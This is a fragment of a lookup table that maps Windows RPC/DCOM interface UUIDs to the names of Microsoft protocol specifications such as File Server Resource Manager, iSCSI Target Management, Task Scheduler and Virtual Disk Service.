+'4846CB01-D430-494F-ABB4-B1054999FB09':'[MS-FSRM]: File Server Resource Manager Protocol', +'6CD6408A-AE60-463B-9EF1-E117534D69DC':'[MS-FSRM]: File Server Resource Manager Protocol', +'EE321ECB-D95E-48E9-907C-C7685A013235':'[MS-FSRM]: File Server Resource Manager Protocol', +'38E87280-715C-4C7D-A280-EA1651A19FEF':'[MS-FSRM]: File Server Resource Manager Protocol', +'BEE7CE02-DF77-4515-9389-78F01C5AFC1A':'[MS-FSRM]: File Server Resource Manager Protocol', +'9A2BF113-A329-44CC-809A-5C00FCE8DA40':'[MS-FSRM]: File Server Resource Manager Protocol', +'4173AC41-172D-4D52-963C-FDC7E415F717':'[MS-FSRM]: File Server Resource Manager Protocol', +'AD55F10B-5F11-4BE7-94EF-D9EE2E470DED':'[MS-FSRM]: File Server Resource Manager Protocol', +'BB36EA26-6318-4B8C-8592-F72DD602E7A5':'[MS-FSRM]: File Server Resource Manager Protocol', +'FF4FA04E-5A94-4BDA-A3A0-D5B4D3C52EBA':'[MS-FSRM]: File Server Resource Manager Protocol', +'22BCEF93-4A3F-4183-89F9-2F8B8A628AEE':'[MS-FSRM]: File Server Resource Manager Protocol', +'6879CAF9-6617-4484-8719-71C3D8645F94':'[MS-FSRM]: File Server Resource Manager Protocol', +'5F6325D3-CE88-4733-84C1-2D6AEFC5EA07':'[MS-FSRM]: File Server Resource Manager Protocol', +'8BB68C7D-19D8-4FFB-809E-BE4FC1734014':'[MS-FSRM]: File Server Resource Manager Protocol', +'A2EFAB31-295E-46BB-B976-E86D58B52E8B':'[MS-FSRM]: File Server Resource Manager Protocol', +'0770687E-9F36-4D6F-8778-599D188461C9':'[MS-FSRM]: File Server Resource Manager Protocol', +'AFC052C2-5315-45AB-841B-C6DB0E120148':'[MS-FSRM]: File Server Resource Manager Protocol', +'515C1277-2C81-440E-8FCF-367921ED4F59':'[MS-FSRM]: File Server Resource Manager Protocol', +'D2DC89DA-EE91-48A0-85D8-CC72A56F7D04':'[MS-FSRM]: File Server Resource Manager Protocol', +'47782152-D16C-4229-B4E1-0DDFE308B9F6':'[MS-FSRM]: File Server Resource Manager Protocol', +'205BEBF8-DD93-452A-95A6-32B566B35828':'[MS-FSRM]: File Server Resource Manager Protocol', +'1BB617B8-3886-49DC-AF82-A6C90FA35DDA':'[MS-FSRM]: File Server Resource Manager Protocol', +'42DC3511-61D5-48AE-B6DC-59FC00C0A8D6':'[MS-FSRM]: File Server Resource Manager Protocol', +'426677D5-018C-485C-8A51-20B86D00BDC4':'[MS-FSRM]: File Server Resource Manager Protocol', +'E946D148-BD67-4178-8E22-1C44925ED710':'[MS-FSRM]: File Server Resource Manager Protocol', +'D646567D-26AE-4CAA-9F84-4E0AAD207FCA':'[MS-FSRM]: File Server Resource Manager Protocol', +'F82E5729-6ABA-4740-BFC7-C7F58F75FB7B':'[MS-FSRM]: File Server Resource Manager Protocol', +'2DBE63C4-B340-48A0-A5B0-158E07FC567E':'[MS-FSRM]: File Server Resource Manager Protocol', +'A8E0653C-2744-4389-A61D-7373DF8B2292':'[MS-FSRVP]: File Server Remote VSS Protocol', +'B9785960-524F-11DF-8B6D-83DCDED72085':'[MS-GKDI]: Group Key Distribution Protocol', +'91AE6020-9E3C-11CF-8D7C-00AA00C091BE':'[MS-ICPR]: ICertPassage Remote Protocol', +'E8FB8620-588F-11D2-9D61-00C04F79C5FE':'[MS-IISS]: Internet Information Services (IIS) ServiceControl', +'F612954D-3B0B-4C56-9563-227B7BE624B4':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'8298D101-F992-43B7-8ECA-5052D885B995':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'29822AB8-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'70B51430-B6CA-11D0-B9B9-00A0C922E750':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'29822AB7-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'BD0C73BC-805B-4043-9C30-9A28D64DD7D2':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'7C4E1804-E342-483D-A43E-A850CFCC8D18':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW', +'6619A740-8154-43BE-A186-0319578E02DB':'[MS-IOI]: IManagedObject Interface Protocol', +'8165B19E-8D3A-4D0B-80C8-97DE310DB583':'[MS-IOI]: IManagedObject Interface Protocol', +'C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4':'[MS-IOI]: IManagedObject Interface Protocol', +'82AD4280-036B-11CF-972C-00AA006887B0':'[MS-IRP]: Internet Information Services (IIS) Inetinfo Remote', +'4E65A71E-4EDE-4886-BE67-3C90A08D1F29':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'866A78BC-A2FB-4AC4-94D5-DB3041B4ED75':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B0D1AC4B-F87A-49B2-938F-D439248575B2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E141FD54-B79E-4938-A6BB-D523C3D49FF1':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'40CC8569-6D23-4005-9958-E37F08AE192B':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1822A95E-1C2B-4D02-AB25-CC116DD9DBDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B4FA8E86-2517-4A88-BD67-75447219EEE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'3C73848A-A679-40C5-B101-C963E67F9949':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'66C9B082-7794-4948-839A-D8A5A616378F':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'01454B97-C6A5-4685-BEA8-9779C88AB990':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'D6BD6D63-E8CB-4905-AB34-8A278C93197A':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'348A0821-69BB-4889-A101-6A9BDE6FA720':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'703E6B03-7AD1-4DED-BA0D-E90496EBC5DE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'100DA538-3F4A-45AB-B852-709148152789':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'592381E5-8D3C-42E9-B7DE-4E77A1F75AE4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'883343F1-CEED-4E3A-8C1B-F0DADFCE281E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'6AEA6B26-0680-411D-8877-A148DF3087D5':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'D71B2CAE-33E8-4567-AE96-3CCF31620BE2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8C58F6B3-4736-432A-891D-389DE3505C7C':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1995785D-2A1E-492F-8923-E621EACA39D9':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'C10A76D8-1FE4-4C2F-B70D-665265215259':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8D7AE740-B9C5-49FC-A11E-89171907CB86':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'8AD608A4-6C16-4405-8879-B27910A68995':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B0076FEC-A921-4034-A8BA-090BC6D03BDE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'640038F1-D626-40D8-B52B-09660601D045':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'BB39E296-AD26-42C5-9890-5325333BB11E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'B06A64E3-814E-4FF9-AFAC-597AD32517C7':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'A5ECFC73-0013-4A9E-951C-59BF9735FDDA':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1396DE6F-A794-4B11-B93F-6B69A5B47BAE':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'DD6F0A28-248F-4DD3-AFE9-71AED8F685C4':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'52BA97E7-9364-4134-B9CB-F8415213BDD8':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E2842C88-07C3-4EB0-B1A9-D3D95E76FEF2':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'312CC019-D5CD-4CA7-8C10-9E0A661F147E':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'345B026B-5802-4E38-AC75-795E08B0B83F':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'442931D5-E522-4E64-A181-74E98A4E1748':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'1B1C4D1C-ABC4-4D3A-8C22-547FBA3AA8A0':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'56E65EA5-CDFF-4391-BA76-006E42C2D746':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'E645744B-CAE5-4712-ACAF-13057F7195AF':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'FE7F99F9-1DFB-4AFB-9D00-6A8DD0AABF2C':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'81FE3594-2495-4C91-95BB-EB5785614EC7':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'F093FE3D-8131-4B73-A742-EF54C20B337B':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'28BC8D5E-CA4B-4F54-973C-ED9622D2B3AC':'[MS-ISTM]: iSCSI Software Target Management Protocol', +'22E5386D-8B12-4BF0-B0EC-6A1EA419E366':'[MS-LREC]: Live Remote Event Capture (LREC) Protocol', +'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAD]: Local Security Authority (Domain Policy) Remote Protocol', +'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAT]: Local Security Authority (Translation Methods) Remote', +'708CCA10-9569-11D1-B2A5-0060977D8118':'[MS-MQDS]: Message Queuing (MSMQ):', +'77DF7A80-F298-11D0-8358-00A024C480A8':'[MS-MQDS]: Message Queuing (MSMQ):', +'76D12B80-3467-11D3-91FF-0090272F9EA3':'[MS-MQMP]: Message Queuing (MSMQ):', +'FDB3A030-065F-11D1-BB9B-00A024EA5525':'[MS-MQMP]: Message Queuing (MSMQ):', +'41208EE0-E970-11D1-9B9E-00E02C064C39':'[MS-MQMR]: Message Queuing (MSMQ):', +'1088A980-EAE5-11D0-8D9B-00A02453C337':'[MS-MQQP]: Message Queuing (MSMQ):', +'1A9134DD-7B39-45BA-AD88-44D01CA47F28':'[MS-MQRR]: Message Queuing (MSMQ):', +'17FDD703-1827-4E34-79D4-24A55C53BB37':'[MS-MSRP]: Messenger Service Remote Protocol', +'12345678-1234-ABCD-EF00-01234567CFFB':'[MS-NRPC]: Netlogon Remote Protocol', +'00020411-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020401-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020403-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020412-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020402-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020400-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'00020404-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol', +'784B693D-95F3-420B-8126-365C098659F2':'[MS-OCSPA]: Microsoft OCSP Administration Protocol', +'AE33069B-A2A8-46EE-A235-DDFD339BE281':'[MS-PAN]: Print System Asynchronous Notification Protocol', +'0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1':'[MS-PAN]: Print System Asynchronous Notification Protocol', +'76F03F96-CDFD-44FC-A22C-64950A001209':'[MS-PAR]: Print System Asynchronous Remote Protocol', +'DA5A86C5-12C2-4943-AB30-7F74A813D853':'[MS-PCQ]: Performance Counter Query Protocol', +'03837510-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837543-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837533-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837541-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837544-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837524-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383753A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837534-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383750B-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383751A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837512-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0383753D-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837506-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837520-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'038374FF-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837514-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837502-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'03837516-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol', +'0B1C2170-5732-4E0E-8CD3-D9B16F3B84D7':'[MS-RAA]: Remote Authorization API Protocol', +'F120A684-B926-447F-9DF4-C966CB785648':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4010-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4200-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'3C3A70A7-A468-49B9-8ADA-28E11FCCAD5D':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E4100-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'833E41AA-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol', +'C323BE28-E546-4C23-A81B-D6AD8D8FAC7B':'[MS-RAINPS]: Remote Administrative Interface:', +'83E05BD5-AEC1-4E58-AE50-E819C7296F67':'[MS-RAINPS]: Remote Administrative Interface:', +'45F52C28-7F9F-101A-B52B-08002B2EFABE':'[MS-RAIW]: Remote Administrative Interface:', +'811109BF-A4E1-11D1-AB54-00A0C91E9B45':'[MS-RAIW]: Remote Administrative Interface:', +'A35AF600-9CF4-11CD-A076-08002B2BD711':'[MS-RDPESC]: Remote Desktop Protocol:', +'12345678-1234-ABCD-EF00-0123456789AB':'[MS-RPRN]: Print System Remote Protocol', +'66A2DB21-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'66A2DB1B-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'66A2DB20-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'66A2DB22-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'8F09F000-B7ED-11CE-BBD2-00001A181CAD':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'5FF9BDF6-BD91-4D8B-A614-D6317ACC8DD8':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'20610036-FA22-11CF-9823-00A0C911E5DF':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'67E08FC2-2984-4B62-B92E-FC1AAE64BBBB':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'6139D8A4-E508-4EBB-BAC7-D7F275145897':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management', +'338CD001-2244-31F1-AAAA-900038001003':'[MS-RRP]: Windows Remote Registry Protocol', +'3BBED8D9-2C9A-4B21-8936-ACB2F995BE6C':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'8DA03F40-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'D61A27C6-8F53-11D0-BFA0-00A024151983':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'081E7188-C080-4FF3-9238-29F66D6CABFD':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'895A2C86-270D-489D-A6C0-DC2A9B35280E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'D02E4BE0-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'DB90832F-6910-4D46-9F5E-9FD6BFA73903':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'4E934F30-341A-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'879C8BBE-41B0-11D1-BE11-00C04FB6BF70':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'00000000-0000-0000-C000-000000000046':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'69AB7050-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'7D07F313-A53F-459A-BB12-012C15B1846E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'BB39332C-BFEE-4380-AD8A-BADC8AFF5BB6':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'B057DC50-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol', +'894DE0C0-0D55-11D3-A322-00C04FA321A1':'[MS-RSP]: Remote Shutdown Protocol', +'D95AFE70-A6D5-4259-822E-2C84DA1DDB0D':'[MS-RSP]: Remote Shutdown Protocol', +'12345778-1234-ABCD-EF00-0123456789AC':'[MS-SAMR]: Security Account Manager (SAM) Remote Protocol', +'01954E6B-9254-4E6E-808C-C9E05D007696':'[MS-SCMP]: Shadow Copy Management Protocol', +'FA7DF749-66E7-4986-A27F-E2F04AE53772':'[MS-SCMP]: Shadow Copy Management Protocol', +'214A0F28-B737-4026-B847-4F9E37D79529':'[MS-SCMP]: Shadow Copy Management Protocol', +'AE1C7110-2F60-11D3-8A39-00C04F72D8E3':'[MS-SCMP]: Shadow Copy Management Protocol', +'367ABB81-9844-35F1-AD32-98F038001003':'[MS-SCMR]: Service Control Manager Remote Protocol', +'4B324FC8-1670-01D3-1278-5A47BF6EE188':'[MS-SRVS]: Server Service Remote Protocol', +'CCD8C074-D0E5-4A40-92B4-D074FAA6BA28':'[MS-SWN]: Service Witness Protocol', +'1A1BB35F-ABB8-451C-A1AE-33D98F1BEF4A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'1C60A923-2D86-46AA-928A-E7F3E37577AF':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'FDF8A2B9-02DE-47F4-BC26-AA85AB5E5267':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'112B1DFF-D9DC-41F7-869F-D67FEE7CB591':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'3C745A97-F375-4150-BE17-5950F694C699':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card', +'2F5F6521-CA47-1068-B319-00DD010662DB':'[MS-TRP]: Telephony Remote Protocol', +'2F5F6520-CA46-1067-B319-00DD010662DA':'[MS-TRP]: Telephony Remote Protocol', +'1FF70682-0A51-30E8-076D-740BE8CEE98B':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'378E52B0-C0A9-11CF-822D-00AA0051E40F':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'86D35949-83C9-4044-B424-DB363231FD0C':'[MS-TSCH]: Task Scheduler Service Remoting Protocol', +'44E265DD-7DAF-42CD-8560-3CDB6E7A2729':'[MS-TSGU]: Terminal Services Gateway Server Protocol', +'034634FD-BA3F-11D1-856A-00A0C944138C':'[MS-TSRAP]: Telnet Server Remote Administration Protocol', +'497D95A6-2D27-4BF5-9BBD-A6046957133C':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'11899A43-2B68-4A76-92E3-A3D6AD8C26CE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'5CA4A760-EBB1-11CF-8611-00A0245420ED':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'BDE95FDF-EEE0-45DE-9E12-E5A61CD0D4FE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'484809D6-4239-471B-B5BC-61DF8C23AC48':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'88143FD0-C28D-4B2B-8FEF-8D882F6A9390':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'1257B580-CE2F-4109-82D6-A9459D0BF6BC':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'53B46B02-C73B-4A3E-8DEE-B16B80672FC0':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface', +'DDE02280-12B3-4E0B-937B-6747F6ACB286':'[MS-UAMG]: Update Agent Management Protocol', +'112EDA6B-95B3-476F-9D90-AEE82C6B8181':'[MS-UAMG]: Update Agent Management Protocol', +'144FE9B0-D23D-4A8B-8634-FB4457533B7A':'[MS-UAMG]: Update Agent Management Protocol', +'70CF5C82-8642-42BB-9DBC-0CFD263C6C4F':'[MS-UAMG]: Update Agent Management Protocol', +'49EBD502-4A96-41BD-9E3E-4C5057F4250C':'[MS-UAMG]: Update Agent Management Protocol', +'7C907864-346C-4AEB-8F3F-57DA289F969F':'[MS-UAMG]: Update Agent Management Protocol', +'46297823-9940-4C09-AED9-CD3EA6D05968':'[MS-UAMG]: Update Agent Management Protocol', +'4CBDCB2D-1589-4BEB-BD1C-3E582FF0ADD0':'[MS-UAMG]: Update Agent Management Protocol', +'8F45ABF1-F9AE-4B95-A933-F0F66E5056EA':'[MS-UAMG]: Update Agent Management Protocol', +'6A92B07A-D821-4682-B423-5C805022CC4D':'[MS-UAMG]: Update Agent Management Protocol', +'54A2CB2D-9A0C-48B6-8A50-9ABB69EE2D02':'[MS-UAMG]: Update Agent Management Protocol', +'0D521700-A372-4BEF-828B-3D00C10ADEBD':'[MS-UAMG]: Update Agent Management Protocol', +'C2BFB780-4539-4132-AB8C-0A8772013AB6':'[MS-UAMG]: Update Agent Management Protocol', +'1518B460-6518-4172-940F-C75883B24CEB':'[MS-UAMG]: Update Agent Management Protocol', +'81DDC1B8-9D35-47A6-B471-5B80F519223B':'[MS-UAMG]: Update Agent Management Protocol', +'BC5513C8-B3B8-4BF7-A4D4-361C0D8C88BA':'[MS-UAMG]: Update Agent Management Protocol', +'C1C2F21A-D2F4-4902-B5C6-8A081C19A890':'[MS-UAMG]: Update Agent Management Protocol', +'07F7438C-7709-4CA5-B518-91279288134E':'[MS-UAMG]: Update Agent Management Protocol', +'C97AD11B-F257-420B-9D9F-377F733F6F68':'[MS-UAMG]: Update Agent Management Protocol', +'3A56BFB8-576C-43F7-9335-FE4838FD7E37':'[MS-UAMG]: Update Agent Management Protocol', +'615C4269-7A48-43BD-96B7-BF6CA27D6C3E':'[MS-UAMG]: Update Agent Management Protocol', +'004C6A2B-0C19-4C69-9F5C-A269B2560DB9':'[MS-UAMG]: Update Agent Management Protocol', +'7366EA16-7A1A-4EA2-B042-973D3E9CD99B':'[MS-UAMG]: Update Agent Management Protocol', +'A376DD5E-09D4-427F-AF7C-FED5B6E1C1D6':'[MS-UAMG]: Update Agent Management Protocol', +'23857E3C-02BA-44A3-9423-B1C900805F37':'[MS-UAMG]: Update Agent Management Protocol', +'B383CD1A-5CE9-4504-9F63-764B1236F191':'[MS-UAMG]: Update Agent Management Protocol', +'76B3B17E-AED6-4DA5-85F0-83587F81ABE3':'[MS-UAMG]: Update Agent Management Protocol', +'0BB8531D-7E8D-424F-986C-A0B8F60A3E7B':'[MS-UAMG]: Update Agent Management Protocol', +'91CAF7B0-EB23-49ED-9937-C52D817F46F7':'[MS-UAMG]: Update Agent Management Protocol', +'673425BF-C082-4C7C-BDFD-569464B8E0CE':'[MS-UAMG]: Update Agent Management Protocol', +'EFF90582-2DDC-480F-A06D-60F3FBC362C3':'[MS-UAMG]: Update Agent Management Protocol', +'D9A59339-E245-4DBD-9686-4D5763E39624':'[MS-UAMG]: Update Agent Management Protocol', +'9B0353AA-0E52-44FF-B8B0-1F7FA0437F88':'[MS-UAMG]: Update Agent Management Protocol', +'503626A3-8E14-4729-9355-0FE664BD2321':'[MS-UAMG]: Update Agent Management Protocol', +'85713FA1-7796-4FA2-BE3B-E2D6124DD373':'[MS-UAMG]: Update Agent Management Protocol', +'816858A4-260D-4260-933A-2585F1ABC76B':'[MS-UAMG]: Update Agent Management Protocol', +'27E94B0D-5139-49A2-9A61-93522DC54652':'[MS-UAMG]: Update Agent Management Protocol', +'E7A4D634-7942-4DD9-A111-82228BA33901':'[MS-UAMG]: Update Agent Management Protocol', +'D40CFF62-E08C-4498-941A-01E25F0FD33C':'[MS-UAMG]: Update Agent Management Protocol', +'ED8BFE40-A60B-42EA-9652-817DFCFA23EC':'[MS-UAMG]: Update Agent Management Protocol', +'A7F04F3C-A290-435B-AADF-A116C3357A5C':'[MS-UAMG]: Update Agent Management Protocol', +'4A2F5C31-CFD9-410E-B7FB-29A653973A0F':'[MS-UAMG]: Update Agent Management Protocol', +'BE56A644-AF0E-4E0E-A311-C1D8E695CBFF':'[MS-UAMG]: Update Agent Management Protocol', +'918EFD1E-B5D8-4C90-8540-AEB9BDC56F9D':'[MS-UAMG]: Update Agent Management Protocol', +'04C6895D-EAF2-4034-97F3-311DE9BE413A':'[MS-UAMG]: Update Agent Management Protocol', +'15FC031C-0652-4306-B2C3-F558B8F837E2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4DBCEE9A-6343-4651-B85F-5E75D74D983C':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'1E062B84-E5E6-4B4B-8A25-67B81E8F13E8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'2ABD757F-2851-4997-9A13-47D2A885D6CA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9CBE50CA-F2D2-4BF4-ACE1-96896B729625':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4DAA0135-E1D1-40F1-AAA5-3CC1E53221C3':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'3858C0D5-0F35-4BF5-9714-69874963BC36':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'40F73C8B-687D-4A13-8D96-3D7F2E683936':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8F4B2F5D-EC15-4357-992F-473EF10975B9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'FC5D23E8-A88B-41A5-8DE0-2D2F73C5A630':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B07FEDD4-1682-4440-9189-A39B55194DC5':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'72AE6713-DCBB-4A03-B36B-371F6AC6B53D':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'B6B22DA8-F903-4BE7-B492-C09D875AC9DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'538684E0-BA3D-4BC0-ACA9-164AFF85C2A9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'75C8F324-F715-4FE3-A28E-F9011B61A4A1':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'90681B1D-6A7F-48E8-9061-31B7AA125322':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9882F547-CFC3-420B-9750-00DFBEC50662':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'83BFB87F-43FB-4903-BAA6-127F01029EEC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'EE2D5DED-6236-4169-931D-B9778CE03DC6':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9723F420-9355-42DE-AB66-E31BB15BEEAC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'4AFC3636-DB01-4052-80C3-03BBCB8D3C69':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D99BDAAE-B13A-4178-9FDB-E27F16B4603E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'D68168C9-82A2-4F85-B6E9-74707C49A58F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'13B50BFF-290A-47DD-8558-B7C58DB1A71A':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'6E6F6B40-977C-4069-BDDD-AC710059F8C0':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'9AA58360-CE33-4F92-B658-ED24B14425B8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'E0393303-90D4-4A97-AB71-E9B671EE2729':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'07E5C822-F00C-47A1-8FCE-B244DA56FD06':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', +'8326CD1D-CF59-4936-B786-5EFC08798E25':'[MS-VDS]: Virtual Disk Service (VDS) Protocol', 